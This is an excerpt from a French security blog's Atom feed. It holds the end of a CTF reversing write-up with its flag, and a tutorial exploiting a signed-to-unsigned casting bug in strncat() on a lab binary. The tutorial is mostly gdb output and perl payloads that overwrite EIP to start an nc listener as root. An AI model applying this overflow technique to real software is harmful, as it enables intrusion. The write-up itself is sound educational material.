&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: #cccccc;"&gt;La chaine contenue dans&amp;nbsp; &lt;span style="color: red;"&gt;strz__s__s__8048bed&lt;/span&gt;&amp;nbsp; se trouvait donc etre "&lt;span style="color: orange;"&gt;admin_r00t %s %s\n\0&lt;/span&gt;" :-^ .&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: #cccccc;"&gt;Voila , restait alors qu'a chopper le flag et a valider :&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: #cccccc;"&gt;&lt;span style="color: orange;"&gt;sh-3.2$ &lt;/span&gt;&lt;span style="color: yellow;"&gt;./copie\ de\ n00b-login &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: yellow;"&gt;--- Welcome to 'Epicness Security' systems.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: yellow;"&gt;Insert name: kmkz&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: yellow;"&gt;Insert last name: sec0d&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: yellow;"&gt;Insert sex: Faible(:P) &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: yellow;"&gt;Inserd birthday: 1337&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: yellow;"&gt;Insert passwd: pawned!&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: #cccccc;"&gt;&lt;span style="color: yellow;"&gt;Damn it! SYSTEM FAILURE:&lt;span style="color: red;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;iTSeeMsThaTWeAreNotEpicnessAtAlL&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;a href="http://pastebin.com/NWY4jCH1"&gt;Pastebin du dump ASM&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;a href="http://pastebin.com/zRi90RFM"&gt;Pastbin du dump C &lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4457623080129847893-2785689575990066033?l=kmkz-web-blog.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/k-cbXeM876gMNgY3XX0hOqRx-oI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/k-cbXeM876gMNgY3XX0hOqRx-oI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/k-cbXeM876gMNgY3XX0hOqRx-oI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/k-cbXeM876gMNgY3XX0hOqRx-oI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/KmkzsBlog/~4/oMYKHm1X2dk" height="1" width="1"/&gt;</content><link rel="related" href="https://portal.securitybydefault.com/" title="[Write-Up] Security By Default CTF :  Bin01 (reversing)" /><link rel="replies" type="application/atom+xml" href="http://kmkz-web-blog.blogspot.com/feeds/2785689575990066033/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4457623080129847893&amp;postID=2785689575990066033" title="1 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/2785689575990066033?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/2785689575990066033?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/KmkzsBlog/~3/oMYKHm1X2dk/write-up-security-by-default-ctf-bin01.html" title="[Write-Up] Security By Default CTF :  Bin01 (reversing)" /><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="31" height="32" src="http://4.bp.blogspot.com/_2PS8BofuJBc/SLA60x2maPI/AAAAAAAAAAM/wuinnfvOy7s/S220/trinacria.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_2PS8BofuJBc/TTSydlvhyaI/AAAAAAAAABw/c5gkvp_i4og/s72-c/secu_by_def_bin1.png" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://kmkz-web-blog.blogspot.com/2011/01/write-up-security-by-default-ctf-bin01.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUAMRXc6eCp7ImA9Wx9XE00.&quot;"><id>tag:blogger.com,1999:blog-4457623080129847893.post-8350044517346876451</id><published>2010-11-14T23:10:00.008+01:00</published><updated>2011-01-06T09:49:44.910+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-01-06T09:49:44.910+01:00</app:edited><title>Erreur de Casting ou corruption de la stack en milieu hostile</title><content type="html">&lt;style type="text/css"&gt;
&lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }   PRE { font-family: "Liberation Serif" }   A:link { so-language: zxx 
&lt;/style&gt;&lt;span style="color: #cccccc;"&gt;Salut a tous .&lt;/span&gt;






&lt;pre&gt;&lt;span style="color: #cccccc;"&gt;Actuellement en formation réseau , je n'ai pas pu tenir toute mes promesses concernant ce blog , néanmoins ,&lt;/span&gt;
&lt;span style="color: #cccccc;"&gt;je vous propose a présent une petite exploitation en milieu hostile (avec SSP et ASLR).&lt;/span&gt;
&lt;span style="color: #cccccc;"&gt; Notre objectif du jour sera ,comme souvent, la réécriture d'EIP , grace a un buffer overflow .&lt;/span&gt;

&lt;span style="color: #cccccc;"&gt;Pour ce faire nous exploiterons une faille de type «transtypage» ou «casting» ,puis nous redirigerons le flot d'exécution&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style="color: #cccccc;"&gt;en écrasant EIP grace a une erreur dans l'emploi de la fonction C strncat().&lt;/span&gt;
&lt;span style="color: #cccccc;"&gt;Tout d'abord précisons l'environnement de travail:&lt;/span&gt;
&lt;i style="color: red;"&gt;root[Casting_error]# uname -a &amp;amp;&amp;amp; cat /proc/sys/kernel/randomize_va_space &lt;/i&gt;
&lt;i style="color: red;"&gt;Linux zenwalk 2.6.33.4 #&lt;/i&gt;&lt;i style="color: red;"&gt;&lt;i style="color: red;"&gt;1 SMP PREEMPT Fri May 14 13:02:33 CEST 2010 i686 Intel(R) Pentium(R) 4
CPU 3.06GHz GenuineIntel GNU/Linux &lt;/i&gt;
&lt;i style="color: red;"&gt;2 &lt;/i&gt;
&lt;span style="color: #cccccc;"&gt;A présent compilons le binaire de façon suffisament sure pour rentre cette exploitation intéréssante;&lt;/span&gt;
&lt;span style="color: #cccccc;"&gt;a quoi bon compiler et exploiter des binaires compilés avec -fno-stack-protector pour la énnième fois..&lt;/span&gt;
&lt;i style="color: red;"&gt;root[Casting_error]#gcc -Wall -Werror-o vuvu vuvu.c&lt;/i&gt;

&lt;span style="color: #cccccc;"&gt;(On remarquera au passage que malgré les arguments passés, &lt;span style="font-style: italic;"&gt;GCC ne renvois aucun warnings&lt;/span&gt; lors de la compilation,&lt;/span&gt;
&lt;span style="color: #cccccc;"&gt;cela démontre que pour lui tout est correctement codé ('fin si on veux..)&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;pre&gt;&lt;span style="color: #cccccc;"&gt;&lt;i style="color: red;"&gt;et que toute les fonctions sont utilisées selon les usages ) .&lt;/i&gt;&lt;/span&gt;
&lt;span style="color: #cccccc;"&gt;&lt;i style="color: red;"&gt;Lançons le afin de le tester un peu:&lt;/i&gt;&lt;/span&gt;
&lt;i style="color: red;"&gt;&lt;i style="color: red;"&gt;kmkz[Casting_error]# ./vuvu aaaaaaaaaa&lt;/i&gt;
&lt;i style="color: red;"&gt;Overflow attempt detected!&lt;/i&gt;

&lt;span style="color: #cccccc;"&gt; Ok, passons aux choses sérieuses:&lt;/span&gt;
&lt;span style="color: #cccccc;"&gt;On remarque ici qu'il ne passe pas la condition , en effet , le code source indique que si argv[1] &amp;gt;= 64 ,&lt;/span&gt;
&lt;span style="color: #cccccc;"&gt;alors on affiche ce message et on quitte le programme.&lt;/span&gt;
&lt;span style="color: #cccccc;"&gt;Pourtant notre but sera d'accéder a la fonction «serveur» afin de le lancer malgré qu'il ne soit,en théorie, pas accéssible .&lt;/span&gt;
&lt;span style="color: #cccccc;"&gt;Comment faire?&lt;/span&gt;
&lt;span style="color: #cccccc;"&gt;Simple me direz-vous , dans un premier temps il faudra bypasser ce contrôle, voici comment on va procéder.&lt;/span&gt;
&lt;span style="color: #cccccc;"&gt; Pour commencer on lui indiquera un nombre  inférieur  à 64  pour tester sa réaction: &lt;/span&gt;
&lt;i style="color: red;"&gt;kmkz[Casting_error]$ ./vuvu `printf "63"``perl -e 'print "A"x82'`&lt;/i&gt;
&lt;i style="color: red;"&gt;[+] Welcome on Private Access Plateform (PAP) project&lt;/i&gt;
&lt;span style="color: red;"&gt; &lt;/span&gt;&lt;i style="color: red;"&gt;[-] Server unrecheable , please contact the administrator &lt;/i&gt;

&lt;i style="color: red;"&gt;kmkz[Casting_error]$ &lt;/i&gt;
&lt;span style="color: #cccccc;"&gt;Bon , maintenant voyons voir comment le binaire réagit avec de l'hexa (on sait que  \x3f = 63 , donc \x40 = 64 )&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style="color: #cccccc;"&gt;&lt;i style="color: red;"&gt;on check :&lt;/i&gt;&lt;/span&gt;
&lt;i style="color: red;"&gt;&lt;i style="color: red;"&gt;kmkz[Casting_error]# ./vuvu `printf "\x40"``perl -e 'print "A"x82'`&lt;/i&gt;
&lt;i style="color: red;"&gt;[+] Welcome on Private Access Plateform (PAP) project&lt;/i&gt;
&lt;span style="color: red;"&gt; &lt;/span&gt;&lt;i style="color: red;"&gt;[-] Server unrecheable , please contact the administrator &lt;/i&gt;

&lt;i style="color: red;"&gt;Overflow attempt detected!&lt;/i&gt;
&lt;span style="color: #cccccc;"&gt;Ici on voit bien que la tentative d'overflow échoue car la condition n'est pas vérifiée.&lt;/span&gt;
&lt;span style="color: #cccccc;"&gt;Essayons maintenant de bypasser ce controle avec une valeur telle que \x80 (&lt;span style="font-weight: bold;"&gt;-128&lt;/span&gt;) afin de déborder&lt;/span&gt;
&lt;span style="color: #cccccc;"&gt;et d'écraser EIP.&lt;/span&gt;
&lt;span style="color: #cccccc;"&gt;Pourquoi \x80?&lt;/span&gt;
&lt;span style="color: #cccccc;"&gt;Tout simplement une question de Bits :P .&lt;/span&gt;
&lt;span style="color: #cccccc;"&gt; Il faut garder a l'esprit la vérification faites par la condition , sachant que le type attendu en 3eme argument&lt;/span&gt;&lt;/i&gt;&lt;/pre&gt;&lt;pre&gt;&lt;i style="color: red;"&gt;&lt;span style="color: #cccccc;"&gt; qui est défini par le prototype de la fonction strncat() doit etre size_t ,soit unsigned int , un argument comme&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/pre&gt;&lt;pre&gt;&lt;i style="color: red;"&gt;&lt;span style="color: #cccccc;"&gt;par exemple \x79 nous empècherait de bypasser ce test car les bits seraient alors organisés comme suit:&lt;/span&gt;
&lt;b style="color: #ffcc99;"&gt;128 - 64 - 32 - 16 - 8 - 4 - 2 – 1 (Bits de l'octet)&lt;/b&gt;
&lt;span style="color: #ffcc99;"&gt;   &lt;/span&gt;&lt;b style="color: #ffcc99;"&gt;0      1     1     1    1    0   0    1 ( Bits)&lt;/b&gt;
&lt;span style="color: #cccccc;"&gt;cela renverrait alors une erreur car la valeur serait bien trop grande ! &lt;/span&gt;
&lt;span style="color: #cccccc;"&gt;x80 quand a lui est un nombre négatif (de \xFF à \x80) et s'étend sur les 24 premiers Bits quand il est de type signé,&lt;/span&gt;&lt;/i&gt;&lt;/pre&gt;&lt;pre&gt;&lt;i style="color: red;"&gt;&lt;span style="color: #cccccc;"&gt; néanmoins , lorsqu'il est utilisé dans strncat() il devient unsigned , ce qui signifie que les Bits passent a «1»&lt;/span&gt;&lt;/i&gt;&lt;/pre&gt;&lt;pre&gt;&lt;i style="color: red;"&gt;&lt;span style="color: #cccccc;"&gt; lui donnant ainsi une valeur bien plus grande que 64 , du coup cela génère bien un overflow.&lt;/span&gt;

&lt;span style="color: #cccccc;"&gt;Allez , maintenant qu'on connait la théorie , place à la pratique :&lt;/span&gt;
&lt;i style="color: red;"&gt;kmkz[Casting_error]# ./vuvu `printf "\x80"``perl -e 'print "A"x760'` // 760 soyons fou ...&lt;/i&gt;
&lt;i style="color: red;"&gt;[+] Welcome on Private Access Plateform (PAP) project&lt;/i&gt;
&lt;span style="color: red;"&gt; &lt;/span&gt;&lt;i style="color: red;"&gt;[-] Server unrecheable , please contact the administrator &lt;/i&gt;

&lt;i style="color: #cccccc;"&gt;&lt;span style="color: red;"&gt;Erreur de segmentation&lt;/span&gt; &lt;/i&gt;&lt;span style="color: #cccccc;"&gt; &amp;lt;-- Intéréssant , on a pu enfin obtenir un segfault  :P&lt;/span&gt;
&lt;span style="color: #cccccc;"&gt;Allons voir ça de plus prés avec notre ami GDB:&lt;/span&gt;

&lt;i style="color: red;"&gt;(gdb) r `printf "\x80"``perl -e 'print "A"x82'`  //82 car c'est ici la limite du segfault&lt;/i&gt;
&lt;i style="color: red;"&gt;Starting program: /home/kmkz/EXPLOITATION/Casting_error/vuvu `printf "\x80"``perl -e 'print "A"x82&lt;/i&gt;
&lt;i style="color: red;"&gt;'`&lt;/i&gt;
&lt;i style="color: red;"&gt;Program received signal SIGSEGV, Segmentation fault.&lt;/i&gt;
&lt;i style="color: red;"&gt;0x41414141 in ?? ()&lt;/i&gt;
&lt;span style="color: #cccccc;"&gt;Regardons ce qui se passe au niveau du code assembleur et des registres : &lt;/span&gt;
&lt;span style="color: #cccccc;"&gt;   ...&lt;/span&gt;
&lt;span style="color: #cccccc;"&gt;  &lt;span style="color: red;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;i style="color: red;"&gt;0x08048580 &amp;lt;+106&amp;gt;:  movb   $0x0,-0x8(%ebp) &lt;/i&gt;
&lt;span style="color: red;"&gt;   &lt;/span&gt;&lt;i style="color: red;"&gt;0x08048584 &amp;lt;+110&amp;gt;:   cmpb   $0x3f,-0x9(%ebp) &lt;/i&gt;
&lt;span style="color: red;"&gt;   &lt;/span&gt;&lt;i style="color: red;"&gt;0x08048588 &amp;lt;+114&amp;gt;:   jle    0x80485ab &amp;lt;function_verif+149&amp;gt; &lt;/i&gt;
&lt;i style="color: red;"&gt;---Type &amp;lt;return&amp;gt; to continue, or q &amp;lt;return&amp;gt; to quit--- &lt;/i&gt;
&lt;span style="color: red;"&gt;   &lt;/span&gt;&lt;i style="color: red;"&gt;0x0804858a &amp;lt;+116&amp;gt;:   mov    0x80498e0,%eax &lt;/i&gt;
&lt;span style="color: red;"&gt;   &lt;/span&gt;&lt;i style="color: red;"&gt;0x0804858f &amp;lt;+121&amp;gt;:   mov    %eax,%edx &lt;/i&gt;
&lt;span style="color: red;"&gt;   &lt;/span&gt;&lt;i style="color: red;"&gt;0x08048591 &amp;lt;+123&amp;gt;:   mov    $0x8048758,%eax &lt;/i&gt;
&lt;span style="color: #cccccc;"&gt;   ...&lt;/span&gt;
&lt;span style="color: #cccccc;"&gt;Plaçons quelques points d'arrêts pour pouvoir y voir plus clair:&lt;/span&gt;
&lt;i style="color: red;"&gt;(gdb) b *function_verif+114&lt;/i&gt;
&lt;i style="color: red;"&gt;Breakpoint 1 at 0x8048588&lt;/i&gt;
&lt;i style="color: red;"&gt;(gdb) b *function_verif+116&lt;/i&gt;
&lt;i style="color: red;"&gt;Breakpoint 7 at 0x804858a&lt;/i&gt;

&lt;span style="color: #cccccc;"&gt;Allez , let's go ! &lt;/span&gt;
&lt;i style="color: red;"&gt;(gdb) r `printf "\x80"``perl -e 'print "A"x82 . "\00"'`&lt;/i&gt;
&lt;i style="color: red;"&gt;The program being debugged has been started already.&lt;/i&gt;
&lt;i style="color: red;"&gt;Start it from the beginning? (y or n) y&lt;/i&gt;

&lt;i style="color: red;"&gt;Starting program: /home/kmkz/EXPLOITATION/Casting_error/vuvu `printf "\x80"``perl -e 'print "A"x82 . "\00"'`&lt;/i&gt;
&lt;i style="color: red;"&gt;[+] Welcome on Private Access Plateform (PAP) project&lt;/i&gt;
&lt;span style="color: red;"&gt; &lt;/span&gt;&lt;i style="color: red;"&gt;[-] Server unrecheable , please contact the administrator &lt;/i&gt;

&lt;i style="color: red;"&gt;Breakpoint 1, 0x08048588 in function_verif ()&lt;/i&gt;

&lt;span style="color: #cccccc;"&gt;On fait un info registers:&lt;/span&gt;
&lt;i style="color: red;"&gt;(gdb) i r&lt;/i&gt;
&lt;i style="color: red;"&gt;eax            0x0      0                  --&amp;gt; le nullbyte de buff[0],(mov  $0x0,%eax)&lt;/i&gt;
&lt;i style="color: red;"&gt;ecx            0x1      1&lt;/i&gt;
&lt;i style="color: red;"&gt;edx            0xbffff23f       -1073745345&lt;/i&gt;
&lt;i style="color: red;"&gt;ebx            0x3f     63                 --&amp;gt; notre char initialisé à 64 (moins le nullbyte,soit 63) octets&lt;/i&gt;
&lt;i style="color: red;"&gt;esp            0xbffff1f0       0xbffff1f0&lt;/i&gt;
&lt;i style="color: red;"&gt;ebp            0xbffff248       0xbffff248&lt;/i&gt;
&lt;i style="color: red;"&gt;esi            0x0      0                  --&amp;gt; Nullbyte de buff[65]&lt;/i&gt;
&lt;i style="color: red;"&gt;edi            0xbffff23c       -1073745348&lt;/i&gt;
&lt;i style="color: red;"&gt;eip            0x8048588        0x8048588 &amp;lt;function_verif+114&amp;gt;&lt;/i&gt;

&lt;i style="color: red;"&gt;(gdb) c&lt;/i&gt;
&lt;i style="color: red;"&gt;Continuing.&lt;/i&gt;

&lt;i style="color: red;"&gt;Program received signal SIGSEGV, Segmentation fault.&lt;/i&gt;
&lt;i style="color: red;"&gt;0x41414141 in ?? ()&lt;/i&gt;
&lt;i style="color: red;"&gt;(gdb) i r&lt;/i&gt;
&lt;i style="color: red;"&gt;eax            0x0      0                  --&amp;gt; le nullbyte de buff[0],(mov  $0x0,%eax)&lt;/i&gt;
&lt;i style="color: red;"&gt;ecx            0xffffff7f       -128       --&amp;gt; notre argument nécéssaire pour l'overflow (\x80)&lt;/i&gt;
&lt;i style="color: red;"&gt;edx            0xbffff24e       -1073745330&lt;/i&gt;
&lt;i style="color: red;"&gt;ebx            0x41414141       1094795585&lt;/i&gt;
&lt;i style="color: red;"&gt;esp            0xbffff250       0xbffff250&lt;/i&gt;
&lt;i style="color: red;"&gt;ebp            0x41414141       0x41414141&lt;/i&gt;
&lt;i style="color: red;"&gt;esi            0x0      0                  --&amp;gt; Nullbyte de buff[65]&lt;/i&gt;
&lt;i style="color: red;"&gt;edi            0x41414141       1094795585&lt;/i&gt;
&lt;i style="color: red;"&gt;eip            0x41414141       0x41414141&lt;/i&gt;

&lt;i style="color: red;"&gt;(gdb) i s&lt;/i&gt;
&lt;i style="color: red;"&gt;#0  0x41414141 in ?? ()&lt;/i&gt;
&lt;i style="color: red;"&gt;#1  0xbfff0041 in ?? ()&lt;/i&gt;
&lt;i style="color: red;"&gt;Backtrace stopped: previous frame inner to this frame (&lt;b&gt;corrupt stack&lt;/b&gt;?)&lt;/i&gt;
&lt;span style="color: #cccccc;"&gt;Ici on se rend bien compte de l'overflowing de la stack, tentons a présent de l'exploiter mauellement puis &lt;/span&gt;
&lt;span style="color: #cccccc;"&gt;a l'aide de l'exploit codé a cet effet. &lt;/span&gt;

&lt;span style="color: #cccccc;"&gt;Exploitation via détournement de fonction (un ret-into_PLT serait a envisagé mais j'ai opté pour cette méthode&lt;/span&gt;
&lt;span style="color: #cccccc;"&gt;car elle ne nécéssite que peu de connaissance et est relativement simple a pratir du moment ou EIP est &lt;/span&gt;
&lt;span style="color: #cccccc;"&gt;overwrité): &lt;/span&gt;
&lt;i style="color: red;"&gt;objdump -d vuvu | grep serveur&lt;/i&gt;
&lt;i style="color: red;"&gt;080485d4 &amp;lt;serveur&amp;gt;:&lt;/i&gt;

&lt;span style="color: #cccccc;"&gt;Voilà , l'exploitation peu avoir lieu afin de lancer le serveur soit-disant inaccéssible contruison le avec l'adresse fixée précédemment.&lt;/span&gt;
&lt;span style="color: #cccccc;"&gt; 82-5 =77 Octets  soit 4 Octets pour l'offset de retour (fonction serveur), 1 pour notre argument hexadécimal et on ajoutera un NullByte&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/pre&gt;&lt;pre&gt;&lt;i style="color: red;"&gt;&lt;span style="color: #cccccc;"&gt;pour la fin de string (non obligatoire ici , mais plus propre).&lt;/span&gt;
&lt;i style="color: red;"&gt;(gdb) r `perl -e 'print "\x80" . "A"x77 . "\xd4\x85\x04\x08" . "\00"'`&lt;/i&gt;
&lt;i style="color: red;"&gt;The program being debugged has been started already.&lt;/i&gt;
&lt;i style="color: red;"&gt;Start it from the beginning? (y or n) y&lt;/i&gt;

&lt;i style="color: red;"&gt;Starting program: /home/kmkz/EXPLOITATION/Casting_error/vuvu `perl -e 'print "\x80" . "A"x77 . "\xd4\x85\x04\x08" . "\00"'`&lt;/i&gt;
&lt;i style="color: red;"&gt;[+] Welcome on Private Access Plateform (PAP) project&lt;/i&gt;
&lt;span style="color: red;"&gt; &lt;/span&gt;&lt;i style="color: red;"&gt;[-] Server unrecheable , please contact the administrator &lt;/i&gt;

&lt;i style="color: red;"&gt;Breakpoint 1, 0x08048588 in function_verif ()&lt;/i&gt;
&lt;i style="color: red;"&gt;(gdb) c&lt;/i&gt;
&lt;i style="color: red;"&gt;Continuing.&lt;/i&gt;
&lt;i style="color: red;"&gt;[+] Activating server on port : 6666 &lt;/i&gt;
&lt;span style="color: #cccccc;"&gt;Du coté du méchant hacker le serveur est bien lancé , vérifions son fonctionnement et ses droits au cas ou ..: &lt;/span&gt;
&lt;span style="color: #cccccc;"&gt;...&lt;/span&gt;
&lt;b style="color: #ff6600;"&gt;tcp        0      0 *:6666                  *:*                     LISTEN      root       18892       2786/nc  &lt;/b&gt;
&lt;span style="color: #cccccc;"&gt;...&lt;/span&gt;
&lt;span style="color: #cccccc;"&gt;L'exploitation a bien fonctionné , voyons maintenant avec notre exploit .&lt;/span&gt;

&lt;a href="http://1.bp.blogspot.com/_2PS8BofuJBc/TOBfULjCNVI/AAAAAAAAABg/NTjtOl8Stvo/s1600/screen_xploit.gif" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5539532341967467858" src="http://1.bp.blogspot.com/_2PS8BofuJBc/TOBfULjCNVI/AAAAAAAAABg/NTjtOl8Stvo/s320/screen_xploit.gif" style="cursor: pointer; display: block; height: 122px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;
&lt;span style="color: #cccccc;"&gt;Voilà , j'espère que cela vous donnera des idées simpa ,&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/pre&gt;&lt;pre&gt;&lt;i style="color: red;"&gt;&lt;span style="color: #cccccc;"&gt;il me reste plus qu'à vous dire a bientôt pour de nouvelles aventures.&lt;/span&gt;
&lt;span style="color: #cccccc;"&gt;\o&amp;gt;

Links:
&lt;/span&gt;&lt;/i&gt;&lt;/pre&gt;&lt;i style="color: red;"&gt;&lt;a href="http://membres.lycos.fr/profil4/kmkz/Exploits/exploit"&gt;&lt;span style="color: #3366ff;"&gt;Exploit&lt;/span&gt;&lt;/a&gt;

&lt;span style="color: #3366ff;"&gt;&amp;nbsp;&lt;/span&gt;
&lt;a href="http://membres.lycos.fr/profil4/kmkz/Exploits/vuvu.c"&gt;&lt;span style="color: #3366ff;"&gt;Binaire(source vuvu.c)&lt;/span&gt;&lt;/a&gt;
&lt;a href="http://membres.lycos.fr/profil4/kmkz/Exploits/Exploitation_article.pdf"&gt;&lt;span style="color: #3366ff;"&gt;Article PDF&lt;/span&gt;&lt;/a&gt;
  &lt;/i&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4457623080129847893-8350044517346876451?l=kmkz-web-blog.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/YCuhBZIqEKWG4SzqLgSAumBlAig/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/YCuhBZIqEKWG4SzqLgSAumBlAig/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/YCuhBZIqEKWG4SzqLgSAumBlAig/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/YCuhBZIqEKWG4SzqLgSAumBlAig/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/KmkzsBlog/~4/LnVhJP0g-Gs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kmkz-web-blog.blogspot.com/feeds/8350044517346876451/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4457623080129847893&amp;postID=8350044517346876451" title="0 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/8350044517346876451?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/8350044517346876451?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/KmkzsBlog/~3/LnVhJP0g-Gs/erreur-de-casting-ou-corruption-de-la.html" title="Erreur de Casting ou corruption de la stack en milieu hostile" /><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="31" height="32" src="http://4.bp.blogspot.com/_2PS8BofuJBc/SLA60x2maPI/AAAAAAAAAAM/wuinnfvOy7s/S220/trinacria.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_2PS8BofuJBc/TOBfULjCNVI/AAAAAAAAABg/NTjtOl8Stvo/s72-c/screen_xploit.gif" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://kmkz-web-blog.blogspot.com/2010/11/erreur-de-casting-ou-corruption-de-la.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEYASX49fyp7ImA9Wx5TGU4.&quot;"><id>tag:blogger.com,1999:blog-4457623080129847893.post-503160923466471372</id><published>2010-08-04T17:14:00.002+02:00</published><updated>2010-08-04T17:35:48.067+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-08-04T17:35:48.067+02:00</app:edited><title>Xbox 360 Security : Chapter 1</title><content type="html">   &lt;!-- ======================================================= --&gt;   &lt;!-- Created by AbiWord, a free, Open Source wordprocessor.  --&gt;   &lt;!-- For more information visit http://www.abisource.com.    --&gt;   &lt;!-- ======================================================= --&gt;   &lt;meta equiv="content-type" content="text/html;charset=UTF-8"&gt;   &lt;title&gt;&lt;/title&gt;   &lt;style type="text/css"&gt;    &lt;!-- #toc, .toc, .mw-warning { 	border: 1px solid #aaa; 	background-color: #f9f9f9; 	padding: 5px; 	font-size: 95%; } #toc h2, .toc h2 { 	display: inline; 	border: none; 	padding: 0; 	font-size: 100%; 	font-weight: bold; } #toc #toctitle, .toc #toctitle, #toc .toctitle, .toc .toctitle { 	text-align: center; } #toc ul, .toc ul { 	list-style-type: none; 	list-style-image: none; 	margin-left: 0; 	padding-left: 0; 	text-align: left; } #toc ul ul, .toc ul ul { 	margin: 0 0 0 2em; } #toc .toctoggle, .toc .toctoggle { 	font-size: 94%; }@media print, projection, embossed { 	body { 		padding-top:1in; 		padding-bottom:1in; 		padding-left:1in; 		padding-right:1in; 	} } body { 	font-family:'Times New Roman'; 	font-variant:normal; 	text-indent:0in; 	widows:2; 	font-style:normal; 	font-weight:normal; 	text-decoration:none; 	color:#000000; 	text-align:left; 	font-size:12pt; } table { } td { 	border-collapse:collapse; 	text-align:left; 	vertical-align:top; } p, h1, h2, h3, li { 	color:#000000; 	font-family:'Times New Roman'; 	font-size:12pt; 	text-align:left; 	vertical-align:normal; }      --&gt;   &lt;/style&gt;     &lt;div&gt;    &lt;p dir="ltr" style="text-align: left; 